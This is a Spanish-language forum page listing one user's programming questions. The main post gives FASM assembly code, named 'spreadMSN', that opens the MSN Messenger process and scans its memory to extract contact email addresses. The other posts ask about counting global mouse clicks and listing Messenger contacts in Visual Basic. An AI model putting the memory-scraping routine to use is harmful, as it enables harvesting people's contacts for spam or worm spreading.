|
Mostrar Temas
|
Páginas: [1]
|
2
|
Programación / ASM / ASM y MSN
|
en: 23 Marzo 2009, 14:04 pm
|
Hola muy buenas a todos, a ver si algunos de ustedes me podian sugerir como podemos controlar el MSn desde el fasm asi como lo hace C con una libreria, si tengo que hacerme una libreria o si se les ocurre alguna otra manera. Yo he logrado sacar los contactos abriendo el proceso del Messenger y leyendo en todos sus bloques de memoria extrayendolos pero se demora bastante. Aqui les dejor lo que hice, siento mucho que el code no este comentado y que sea tan lioso ya que no me gusta usar estructuras. Esta probado en el MSN live y funciona, en otras versiones no ;#################################### ;# # ;# Made by c4st0r xD # ;# # ;####################################
format PE GUI 4.0 include 'win32a.inc' include 'macro/if.inc' ;MEMORY_BASIC_INFORMATION ' 28 bytes ; BaseAddress As Long ; AllocationBase As Long ; AllocationProtect As Long ; RegionSize As Long ; State As Long ; Protect As Long ; lType As Long
;SYSTEM_INFO ' 36 Bytes ; dwOemID As Long ; dwPageSize As Long ; lpMinimumApplicationAddress As Long ; lpMaximumApplicationAddress As Long ; dwActiveProcessorMask As Long ; dwNumberOrfProcessors As Long ; dwProcessorType As Long ; dwAllocationGranularity As Long ; wProcessorLevel As Integer ; wProcessorRevision As Integer
spreadMSN: invoke LocalAlloc, LPTR, 7500 ; memoria suficiente para las 3 estructuras y los correos ; SYSTEM_INFO MEMORY_BASIC_INFORMATION + struct de CreateTool... mov dword[eax], 296 mov ebx, eax invoke CreateToolhelp32Snapshot, 15, 0; TH32CS_SNAPALL mov esi, eax mov edi, ebx add edi, 36 bucle: invoke Process32Next, esi, ebx cmp eax, 0 je @next invoke lstrstr, edi, msnmsgr cmp eax, 0 je bucle invoke CloseHandle, esi invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dword[ebx+8] mov edi, eax ; edi handle del proceso abierto invoke GetSystemInfo, ebx ;SYSTEM_INFO ScanMemory: mov ecx, dword[ebx+12] .while dword[ebx+8] < ecx ; si.lpMinimumApplicationAddress < si.lpMaximumApplicationAddress mov dword[ebx+36+12], 0 mov esi, ebx add esi, 36 invoke VirtualQueryEx, edi, dword[ebx+8], esi, 28 .if eax = 28 .if dword[ebx+36+24] = MEM_PRIVATE | dword[ebx+36+16] = MEM_COMMIT .if dword[ebx+36+12] > 0 invoke LocalAlloc, LPTR, dword[ebx+36+12] mov esi, eax invoke ReadProcessMemory, edi, dword[ebx+36], esi, dword[ebx+36+12], 0 .if eax <> 0 mov ecx, dword[ebx+36+12] mov edx, esi .while ecx <> 0 .if dword[edx] = '|Pas' .if dword[edx+4] = 'spor' .if word[edx+8] = 't|' add edx, 10 mov al, '(' mov cl, 50 pushad mov edi, edx repne scasb mov byte[edi-1], 0 xor eax, eax mov al, 50 sub al, cl mov esi, eax dec esi mov edi, ebx add edi, 36+28 mov ebx, edx invoke lstrstr, edi, edx .if eax <> 0 jmp NotCopy .endif mov al, 0 mov ecx, -1 repne scasb dec edi invoke RtlMoveMemory, edi, ebx, esi add edi, esi mov word[edi], 0x0A0D NotCopy: popad .endif .endif .endif inc edx dec ecx .endw .endif invoke LocalFree, esi .endif .endif .endif mov ecx, dword[ebx+36] add ecx, dword[ebx+36+12] mov dword[ebx+8], ecx mov ecx, dword[ebx+12] .endw EndScan: invoke CloseHandle, edi
invoke ExitProcess, 0 @next: invoke LocalFree, ebx jmp spreadMSN
msnmsgr db 'msnmsgr.exe', 0
|
|
|
3
|
Programación / Programación Visual Basic / Duda sobre click del mouse
|
en: 29 Agosto 2007, 03:00 am
|
Hola a todos, aprovecho para saludaros y agradecer a este foro toda la ayuda que da para seguir aprendiendo. He buscado y rebuscado y no encuentro la solucion, a ver si alguien me puede dar una pista d como puedo crear un programa que cuente los clicks del boton izquierdo del mouse pero solo en la posicion mouseup y fuera del form, es decir con un manejo normal por windows. He usado GetAsyncKeyState(1) y con esta funcion si dejo pulsado el boton izquierdo no para de sumar y luego tambien he usado if GetAsyncKeyState(1) = -32767 y si estoy en el explorer no los cuenta, por eso lo que quiero es que solo cuente cuando se levanta en boton izquierdo.
|
|
|
4
|
Programación / Programación Visual Basic / Duda Listar contactos de messenger con el grupo
|
en: 13 Agosto 2007, 15:35 pm
|
Hola a todos, bien lo que me gustaria es poder listar los contactos del messenger con el grupo al que le corresponde, de esta manera listariamos todos los contactos pero sin el grupo en un textbox Private Sub ListContact_Click() For Each user In MSN.MyContacts List1.AddItem user.SigninName Next For i = 0 To List1.ListCount Text1.Text = Text1.Text & List1.List(i) & vbCrLf Next End Sub
He estado buscando por google y no encuentro nada en español al respecto, gracias
|
|
|
|
|
|
|